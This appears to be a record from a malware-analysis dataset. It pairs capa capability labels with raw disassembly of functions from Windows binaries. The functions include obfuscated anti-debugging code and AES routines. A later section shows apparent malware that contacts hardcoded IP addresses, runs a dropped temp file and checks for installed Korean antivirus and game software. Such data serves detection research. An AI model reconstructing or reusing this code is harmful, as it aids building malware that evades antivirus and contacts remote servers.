joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5439bb
Capabilities:
Execute anti-debugging instructions

Disassembly:
retf
pop dword [esp]
call 0x5439bd
push 0xfffffffffffffff7
add dh, cl
dec edx
jo 0x54399d
jle 0x5439d0
call 0xeb88bf19
call 0x878864a
push edx
lea esp, [esp]
call 0x5439cb
daa
pop word [esp + 1]
jmp 0x5439a5
mov byte [esp + 2], bl
jmp 0x543ce3
lea esp, [esp + 2]
mov dword [esp + 8], edx
call fcn.00543a28

Function at 0x5439bd
Capabilities:
Execute anti-debugging instructions

Disassembly:
retf
pop dword [esp]
call 0x5439bd
push 0xfffffffffffffff7
add dh, cl
dec edx
jo 0x54399d
jle 0x5439d0
call 0xeb88bf19
call 0x878864a
push edx
lea esp, [esp]
call 0x5439cb
daa
pop word [esp + 1]
jmp 0x5439a5
mov byte [esp + 2], bl
jmp 0x543ce3
lea esp, [esp + 2]
mov dword [esp + 8], edx
call fcn.00543a28

Function at 0x5439cb
Capabilities:
Execute anti-debugging instructions

Disassembly:
retf
pop dword [esp]
call 0x5439bd
push 0xfffffffffffffff7
add dh, cl
dec edx
jo 0x54399d
jle 0x5439d0
call 0xeb88bf19
call 0x878864a
push edx
lea esp, [esp]
call 0x5439cb
daa
pop word [esp + 1]
jmp 0x5439a5
mov byte [esp + 2], bl
jmp 0x543ce3
lea esp, [esp + 2]
mov dword [esp + 8], edx
call fcn.00543a28

Function at 0x5439ef
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x543bb7
les esi, [edi - 0x18]
fdivr st(7)
invalid
lea esp, [esp + 3]
lea esp, [esp + 1]
jmp 0x543a76
push word [esp]
jp 0x543a2d
lea esp, [esp + 3]
lea esp, [esp + 1]
mov dword [esp + 4], ebp
push si
push word [esp]
jmp 0x543a80
add byte [eax], al
add byte [edi - 0x766fee1a], bl
insb byte es:[edi], dx
and al, 4
mov dword [esp + 4], ebp
push si
push word [esp]
call fcn.00543b5e
call 0x543aae
adc edx, dword [edi + reloc.WINMM.dll_midiStreamOut]
mov ecx, dword [eax]
sahf
stc
or byte [edx + 0x6ec75425], bh
jns 0x543a26
cli
rdtsc
neg di
jo 0x543a85
jno 0x543a85
pop edx
fimul dword [eax + 0x2f]
fisub dword [ebx + edi*4 - 0x6e]
mov esi, dword [esp + 0x30]
jmp 0x543ae3
rdtsc
jmp 0x543acd
lea ebp, [esp + 4]
xchg edi, ecx
mov edi, dword [esp]
lea edx, [edx*4]
call fcn.00543b63
loope 0x543a6f
mov edi, ebx
sti
neg edx
jg 0x543ab4
rdtsc
call 0x543af1
and byte [ebx - 0x6899e814], al
mov bx, word [esp + 0x10]
lea ebx, [eax + ebp]
lea eax, [esp + 0x4d]
jmp 0x543b39
neg eax
neg edx
shl cx, 1
xchg dword [esp + 0x14], ebp
shl ecx, cl
mov cx, si
jmp 0x543b82
lea esp, [esp + 3]
xchg dword [esp + 0x14], ebp
bswap edx
cpuid
xchg cx, ax
lea ebp, [ebp - 0x23]
jmp 0x543b23
stc
push dword [esp + 0x14]
ret 0x18
mov dword [esp], eax
mov dword [esp], ebp
mov byte [esp + 2], ah
mov dword [esp], edx
mov dword [esp + 8], esp
push ax
jmp 0x543a43
Function at 0x543aae
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x543bb7
les esi, [edi - 0x18]
fdivr st(7)
invalid
lea esp, [esp + 3]
lea esp, [esp + 1]
jmp 0x543a76
push word [esp]
jp 0x543a2d
lea esp, [esp + 3]
lea esp, [esp + 1]
mov dword [esp + 4], ebp
push si
push word [esp]
jmp 0x543a80
add byte [eax], al
add byte [edi - 0x766fee1a], bl
insb byte es:[edi], dx
and al, 4
mov dword [esp + 4], ebp
push si
push word [esp]
call fcn.00543b5e
call 0x543aae
adc edx, dword [edi + reloc.WINMM.dll_midiStreamOut]
mov ecx, dword [eax]
sahf
stc
or byte [edx + 0x6ec75425], bh
jns 0x543a26
cli
rdtsc
neg di
jo 0x543a85
jno 0x543a85
pop edx
fimul dword [eax + 0x2f]
fisub dword [ebx + edi*4 - 0x6e]
mov esi, dword [esp + 0x30]
jmp 0x543ae3
rdtsc
jmp 0x543acd
lea ebp, [esp + 4]
xchg edi, ecx
mov edi, dword [esp]
lea edx, [edx*4]
call fcn.00543b63
loope 0x543a6f
mov edi, ebx
sti
neg edx
jg 0x543ab4
rdtsc
call 0x543af1
and byte [ebx - 0x6899e814], al
mov bx, word [esp + 0x10]
lea ebx, [eax + ebp]
lea eax, [esp + 0x4d]
jmp 0x543b39
neg eax
neg edx
shl cx, 1
xchg dword [esp + 0x14], ebp
shl ecx, cl
mov cx, si
jmp 0x543b82
lea esp, [esp + 3]
xchg dword [esp + 0x14], ebp
bswap edx
cpuid
xchg cx, ax
lea ebp, [ebp - 0x23]
jmp 0x543b23
stc
push dword [esp + 0x14]
ret 0x18
mov dword [esp], eax
mov dword [esp], ebp
mov byte [esp + 2], ah
mov dword [esp], edx
mov dword [esp + 8], esp
push ax
jmp 0x543a43

Function at 0x543b5e
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0xf0532798
jmp 0x543acb
mov dword [esp + 8], esi
pushfd
mov dword [esp], eax
mov word [esp + 1], dx
mov dword [esp], edx
jmp 0x543b0d
mov bh, dl
jmp 0x543a9b
lea esp, [esp + 3]
lea esp, [esp + 1]
mov dword [esp + 4], edi
lea esp, [esp + 4]
pushfd
jmp 0x542fa8
jmp 0x543a5d

Function at 0x543b63
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x543ba0
mov edi, esp
stc
jp 0x543b8a
lea ecx, reloc.WINMM.dll_midiStreamOut
bt bx, cx
jmp 0x543be9
lea ecx, reloc.WINMM.dll_midiStreamOut
jmp 0x543be5
sub esp, 0xb8
jmp 0x543b65
bt bx, cx

Function at 0x543bcf
Capabilities:
Execute anti-debugging instructions

Disassembly:
add esp, 2
jno 0x543c98
jo 0x543c0f
sbb byte [edx + ecx - 0x7ea06393], dl
inc eax
add edi, dword [edx - reloc.WINMM.dll_midiStreamOut]
retf
mov bx, sp
btc ax, bx
lea esp, [esp + 2]
jmp fcn.00543bf0
mov bx, sp
btc ax, bx
lea esp, [esp + 2]
sub ebx, 0x1465055d
xchg edx, ebx
Function at 0x5442ea
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea edx, [esp + 0x32]
jmp 0x5442f4
pushfd
bt edx, ecx
jo 0x54431e
bsf edx, ecx
jmp 0x54432b
bsf edx, ecx
mov edx, dword [esp + 2]
jmp 0x544398
mov edx, dword [esp + 2]
jmp 0x544398
sets dh
pop dword [esp + 0xf]
add esp, 7
jmp 0x54437e
sets dh
pop dword [esp + 0xf]
add esp, 7
mov dx, 0x8eb6
jmp 0x5443ee
mov dx, 0x8eb6
bsr edx, ecx
jmp 0x5443f1
lea esp, [esp + 8]
add al, 0x98
sub esp, 0x1a
je 0x544369
jne 0x544353
setg dh
rcl dx, 8
js 0x5443d4
sbb dh, 0xbc
jmp 0x544411
bswap edx
dec esi
mov dx, di
lea eax, [edx*4]
lea eax, [eax + ebx]
jmp 0x5443a5
sbb dh, 0xbc
lea eax, [ecx*4]
bswap edx
bsr edx, ebp
mov eax, dword [esp]
not ah
jmp 0x54441f
bsr edx, ecx
lea esp, [esp + 3]
add cl, al
mov edx, ecx
jmp 0x5443c2
mov eax, dword [esp]
jmp 0x5443e6
lea eax, [ecx*4]
bswap edx
bsr edx, ebp
jmp 0x5443fb
ror bl, 0
jns 0x544455
not dh
jmp 0x54443f
lea eax, [edi*4]
rdtsc
mov ax, 0x5941
jmp 0x544aa2
not dh
lea eax, [edi*4]
rdtsc
mov ax, 0x5941
lea eax, [edi*4]
sub bl, 0xa8
mov dx, word [esp]
clc
jo 0x544971
jno 0x5444d0
salc
inc ecx
ret
btr eax, ecx
rdtsc
setne al
jmp 0x5444de
lea edx, [ebp + 0x41]
stc
jmp 0x5447f2
and al, 0xeb
invalid
mov eax, 0x9538bcb0
xchg dx, ax
xchg edx, eax
call fcn.005445b9
jb 0x544504
bound eax, qword [0x66794af4]
rcl eax, cl
rcl ax, cl
jmp 0x54463c
jle 0x544633
mov edx, 0x4cb68485
cmc
jmp 0x54451d
mov edx, 0x4cb68485
cmc
rcl ax, cl
rol bl, 0
mov dx, word [esp]
lea eax, [edi*4]
mov edx, 0x22c3a567
jmp 0x544507
xor bl, 0x74
bt edx, esp
jmp 0x54454a
call fcn.005444f6
xchg edx, eax
not eax
mov dh, byte [esp]
push ecx
xchg dword [esp + 4], ebp
dec ax
jmp 0x544a4d
mov edx, dword [esp]
mov ax, word [esp]
xchg edx, eax
push dword [esp + 4]
ret 8
lea eax, [edi*4]
jmp 0x54446b
Function at 0x545ec3
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea esp, [esp + 2]
jmp 0x545f31
push bp
mov dword [esp + 0x20], esi
call fcn.00545ef8
lea ebp, [esp + 8]
lea edi, [ebx*4]
mov dx, di
jmp 0x545f78
setg al
mov bh, al
sub esp, 0xb8
mov edi, esp
jmp 0x545fc0
setne ah
lea edx, [esp + ecx]
pushfd
mov edx, dword [esp]
pop edx
bsf eax, edx
jmp 0x545fe8
inc dx
rol esi, 0
not bx
jmp 0x545fd0
not ecx
bswap eax
sete al
mov ecx, esi
rdtsc
lea ebx, [eax + ebp]
jmp 0x545f87
not edx
neg bl
jae 0x54600b
xchg al, ah
jmp 0x545fee
jo 0x545fa3
inc dx
jmp 0x545fa5
rdtsc
setae dh
xchg al, bl
jmp 0x54601c
xchg al, ah
rdtsc
setae dh
xchg al, bl
rdtsc
jmp 0x54606c
rdtsc
jmp 0x54606c
mov edx, dword [esp]
call fcn.00546056
shr bl, 3
jmp 0x54608e
not esi
mov edx, ecx
mov ax, word [esp]
not esi
jmp 0x546020
mov al, 0x28
shr eax, cl
add bx, 0xc7e4
call 0x54609d
sbb esp, dword [esi - 0x7f]
shr byte [ebx], cl
cmp dword [edx - reloc.WINMM.dll_midiStreamOut], ecx
xchg dword [esp], ebx
clc
jmp 0x5460e6
mov al, byte [esp]
bsf eax, eax
rdtsc
lea ebx, [ebx - 0x24]
cmc
jmp 0x546a32
bt eax, esi
sub esp, 0xc
xchg dword [esp + 0xc], ebx
lea eax, reloc.WINMM.dll_midiStreamOut
mov dx, word [esp]
call fcn.005465f7
mov esp, edi
sub esp, 0x18
jle 0x546a96
mov ax, 0x24d
bswap eax
jmp 0x546a98
mov ax, 0x24d
bswap eax
pop word [esp + 4]
lea esp, [esp + 2]
jmp 0x546ad2
jmp 0x546a80
pop word [esp + 4]
lea esp, [esp + 2]
jmp 0x546ad2
push ebx
ret

Function at 0x545ef8
Capabilities:
Execute anti-debugging instructions

Disassembly:
call 0x545ee2
xchg bh, dl
lea ebp, [eax + ecx]
lea esi, reloc.WINMM.dll_midiStreamOut
jmp 0x545f19
mov ebp, 0x5712a067
jmp 0x545f6e
mov esi, dword [esp + 0x2c]
push edx
call fcn.00545f52

Function at 0x545f52
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg dword [esp + 3], edi
mov ebp, dword [esp + 2]
jmp 0x545f3c

Function at 0x567485
Capabilities:
Encrypt data using aes

Disassembly:
shl edx, 8
lea ebp, reloc.WINMM.dll_midiStreamOut
xor edx, eax
mov dword [ecx + 0xc], edx
jmp 0x5673af
mov di, word [esp]
bswap ebx
lea ebp, [edx + 0xc8]
xor edx, esi
jmp 0x5673c5
sub esp, 5
lea esp, [esp + 1]
shl edx, 8
jmp 0x567402

Function at 0x5674aa
Capabilities:
Encrypt data using aes

Disassembly:
lea esp, [esp + 8]
and edi, 0xff0000
jmp 0x5674c2
jmp 0x567494
and eax, 0xff000000
neg ebp
jmp 0x5676ef
mov ebx, dword [ecx + 4]
mov bp, word [esp]
jmp 0x5674ac
mov ebp, dword [esp]
movzx edi, byte [edi*4 + 0x53e870]
bswap ebp
xor eax, edi
jmp 0x5674f5
cmc
lea ebp, reloc.WINMM.dll_midiStreamOut
mov ebp, 0x29fc76ba
mov ebp, dword [esp]
shr edi, 0x18
jmp 0x56750b
xor eax, edi
mov di, 0x7ca8
lea edi, [eax*4]
mov edi, edx
jmp 0x5675dc
Function at 0x401000
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x244
mov eax, dword [0x415048]
xor eax, esp
mov dword [esp + 0x240], eax
push ebx
mov ebx, dword [sym.imp.USER32.dll_LoadStringW]
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
push 0x416de0
push 0x67
push esi
call ebx
push 0x64
mov edi, 0x416d18
push edi
push 0x6d
push esi
call ebx
push 0x6b
xor ebx, ebx
push esi
mov dword [esp + 0x18], 0x30
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], 0x4011d7
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], esi
call dword [sym.imp.USER32.dll_LoadIconW]
push 0x7f00
push ebx
mov dword [esp + 0x30], eax
call dword [sym.imp.USER32.dll_LoadCursorW]
push 0x6c
push dword [esp + 0x28]
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], 6
mov dword [esp + 0x3c], 0x6d
mov dword [esp + 0x40], edi
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
push ebx
push esi
push ebx
push ebx
push ebx
mov eax, closesocket
push eax
push ebx
push eax
push 0xcf0000
push 0x416de0
push edi
push ebx
mov dword [0x416ea8], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x4010f3
mov ecx, dword [esp + 0x24c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00404568
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x7d0
call edi
call fcn.004026d0
call fcn.00401e23
test eax, eax
je 0x401123
call fcn.00402f20
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
call fcn.00401248
test eax, eax
je 0x4010da
call fcn.0040139e
mov eax, dword [0x417748]
cmp eax, ebx
jbe 0x40115b
cmp word [0x41774c], bx
jbe 0x40115b
push eax
mov esi, str.218.54.47.74
call fcn.004036d0
mov ax, word [0x41774c]
pop ecx
mov word [0x415f2c], ax
xor eax, eax
movzx ecx, word [eax + 0x413254]
mov word [eax + 0x417c80], cx
add eax, 2
cmp cx, bx
jne 0x40115d
call fcn.00403740
xor eax, eax
push 0x206
mov word [esp + 0x44], ax
lea eax, [esp + 0x46]
push ebx
push eax
call fcn.00407ec0
add esp, 0xc
lea eax, [esp + 0x40]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push 0x417c80
lea eax, [esp + 0x44]
push esi
push eax
call fcn.00404577
add esp, 0xc
push 0x1f4
call edi
push 1
push ebx
push 0x41326c
lea eax, [esp + 0x4c]
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x40111c
Function at 0x401248
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1dc
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x3e
mov word [ebp - 0x48], ax
xor ebx, ebx
lea eax, [ebp - 0x46]
push ebx
push eax
call fcn.00407ec0
add esp, 0xc
lea edi, [ebp - 0x48]
call fcn.004031d0
xor eax, eax
movzx ecx, word [ebp + eax - 0x48]
mov word [eax + 0x416eb0], cx
add eax, 2
cmp cx, bx
jne 0x40127f
mov esi, 0x416eb0
push esi
push ebx
push 0x20000
call dword [sym.imp.KERNEL32.DLL_OpenEventW]
cmp eax, ebx
je 0x4012b7
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x40138f
push esi
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
test eax, eax
je 0x4012b0
lea eax, [ebp - 0x1d8]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x417880
call fcn.00401b26
pop ecx
test eax, eax
jne 0x401372
movzx ecx, word [eax + str.hoidyet]
mov word [eax + 0x417a28], cx
add eax, 2
cmp cx, bx
jne 0x4012ea
push str.218.54.47.77
push 0x40
push 0x417884
call fcn.004045ec
add esp, 0xc
push str.AAAA
push 0x10
push 0x417906
call fcn.004045ec
add esp, 0xc
push 0x4132a8
push 0x40
push 0x417926
call fcn.004045ec
add esp, 0xc
push 0x51
pop eax
mov word [0x417904], ax
mov eax, 0x2b8e
mov word [0x4179a6], ax
xor eax, eax
movzx ecx, word [eax + str.gudyt]
mov word [eax + 0x417a08], cx
add eax, 2
cmp cx, bx
jne 0x401352
mov dword [0x417a48], 5
call fcn.00403270
call fcn.004017c5
push ebx
push ebx
push ebx
push 0x4015fc
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404568
leave
ret
Function at 0x40169a
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push dword [ebp + 8]
push 0x413378
call fcn.004038e0
pop ecx
pop ecx
mov dword [ebp - 0x420], eax
test eax, eax
jne 0x4017b6
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x214], ax
lea eax, [ebp - 0x212]
push eax
call fcn.00407ec0
add esp, 0xc
xor eax, eax
push esi
push eax
mov word [ebp - 0x41c], ax
lea eax, [ebp - 0x41a]
push eax
call fcn.00407ec0
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
mov edi, 0x416ef0
mov ebx, edi
cmp word [ebx], 0
je 0x40174c
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.004045ec
add esp, 0xc
push ebx
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.00404577
add esp, 0xc
add ebx, 0x118
cmp ebx, 0x417468
jl 0x40171e
cmp word [edi], 0
je 0x401771
push dword [ebp + 8]
mov ecx, edi
push 0x413378
call fcn.004041e0
pop ecx
pop ecx
add edi, 0x118
cmp edi, 0x417468
jl 0x40175a
push 0x417c80
lea eax, [ebp - 0x214]
push esi
push eax
call fcn.00404577
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4017b0
mov dword [ebp - 0x420], 2
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404568
leave
ret
Function at 0x4018e4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov esi, 0x206
xor edi, edi
push esi
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push edi
push eax
mov dword [ebp - 0x418], edi
call fcn.00407ec0
xor eax, eax
push esi
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push edi
push eax
call fcn.00407ec0
add esp, 0x18
push 0x104
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemWindowsDirectoryW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
xor eax, eax
mov word [ebp - 0x410], ax
push str.HangameKOREANHanUninstall.exe
lea eax, [ebp - 0x414]
push eax
mov ebx, str._s_s
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call edi
cmp eax, 0xffffffff
je 0x401995
mov dword [ebp - 0x418], 1
push str.NEOWIZPMangcommonPMLauncher.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call edi
cmp eax, 0xffffffff
je 0x4019c3
or dword [ebp - 0x418], 2
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call edi
cmp eax, 0xffffffff
je 0x4019f1
or dword [ebp - 0x418], 4
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call edi
cmp eax, 0xffffffff
je 0x401a22
or dword [ebp - 0x418], 0x100
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call edi
cmp eax, 0xffffffff
je 0x401a53
or dword [ebp - 0x418], 0x200
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call edi
pop edi
pop esi
pop ebx
cmp eax, 0xffffffff
je 0x401a87
or dword [ebp - 0x418], 0x400
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x418]
xor ecx, ebp
or eax, 0x2000000
call fcn.00404568
leave
ret
Function at 0x401bb6
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
mov dword [ebp - 0x214], esi
cmp ebx, esi
je 0x401cc7
cmp edi, esi
je 0x401cc7
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x401be7
sub eax, edx
sar eax, 1
je 0x401cc7
xor eax, eax
push 0x206
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push esi
push eax
call fcn.00407ec0
add esp, 0xc
cmp dword [ebp + 8], esi
jne 0x401c52
cmp dword [0x415f10], 3
jne 0x401c52
mov esi, 0x104
push esi
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
push 0x4135e0
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00404577
add esp, 0xc
jmp 0x401c65
lea eax, [ebp - 0x20c]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push edi
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00404577
and dword [ebp - 0x210], 0
push 0x4135e4
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00404899
add esp, 0x18
cmp dword [ebp - 0x210], 0
je 0x401cc7
push dword [ebp - 0x210]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.00404b2a
push dword [ebp - 0x210]
call fcn.00404bb4
add esp, 0x14
mov dword [ebp - 0x214], esi
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x214]
xor ecx, ebp
pop esi
call fcn.00404568
leave
ret

Function at 0x401d6a
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
xor esi, esi
call fcn.00407ec0
and dword [ebp - 0x210], esi
add esp, 0xc
test edi, edi
je 0x401e14
lea eax, [ebp - 0x20c]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push str.golfinfo.ini
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00404577
push 0x413604
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00404899
xor esi, esi
add esp, 0x18
inc esi
cmp dword [ebp - 0x210], 0
je 0x401e14
push dword [ebp - 0x210]
push esi
push 0x200
push edi
call fcn.00404d7f
push dword [ebp - 0x210]
call fcn.00404bb4
add esp, 0x14
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00404568
leave
ret
Function at 0x402591
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x206
mov word [ebp - 0x210], ax
xor esi, esi
lea eax, [ebp - 0x20e]
push esi
push eax
call fcn.00407ec0
add esp, 0xc
push 0x200
lea eax, [ebp - 0x410]
push esi
push eax
call fcn.00407ec0
lea eax, [ebp - 0x410]
add esp, 0xc
push eax
call fcn.00401cda
pop ecx
test eax, eax
je 0x4026bd
xor eax, eax
movzx ecx, word [eax + 0x4132a8]
mov word [eax + 0x417578], cx
add eax, 2
cmp cx, si
jne 0x4025f1
xor eax, eax
movzx ecx, word [ebp + eax - 0x38a]
mov word [eax + 0x417470], cx
add eax, 2
cmp cx, si
jne 0x402609
xor eax, eax
movzx ecx, word [ebp + eax - 0x40c]
mov word [eax + 0x4174f0], cx
add eax, 2
cmp cx, si
jne 0x402622
cmp dword [0x415f10], 3
mov ax, word [ebp - 0x38c]
mov word [0x417570], ax
mov ax, word [ebp - 0x2ea]
mov word [0x4175f8], ax
mov dword [0x4175fc], 5
lea eax, [ebp - 0x210]
mov esi, 0x104
je 0x40267b
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
jmp 0x402698
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
push 0x413734
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.00404577
add esp, 0xc
push str.golfset.ini
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.00404577
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
xor esi, esi
inc esi
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00404568
leave
ret

Function at 0x4026d0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x11c
lea eax, [ebp - 0x120]
push 0
push eax
mov dword [0x415f10], 0
call fcn.00407ec0
add esp, 0xc
lea ecx, [ebp - 0x120]
push ecx
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.DLL_GetVersionExW]
test eax, eax
je 0x402787
mov eax, dword [ebp - 0x11c]
cmp eax, 5
jne 0x402751
mov eax, dword [ebp - 0x118]
cmp eax, 2
jae 0x402739
cmp eax, 1
jne 0x402787
mov dword [0x415f10], 3
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404568
mov esp, ebp
pop ebp
ret
cmp eax, 6
jne 0x402787
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x402778
mov dword [0x415f10], 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404568
mov esp, ebp
pop ebp
ret
cmp eax, 1
jne 0x402787
mov dword [0x415f10], 5
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404568
mov esp, ebp
pop ebp
ret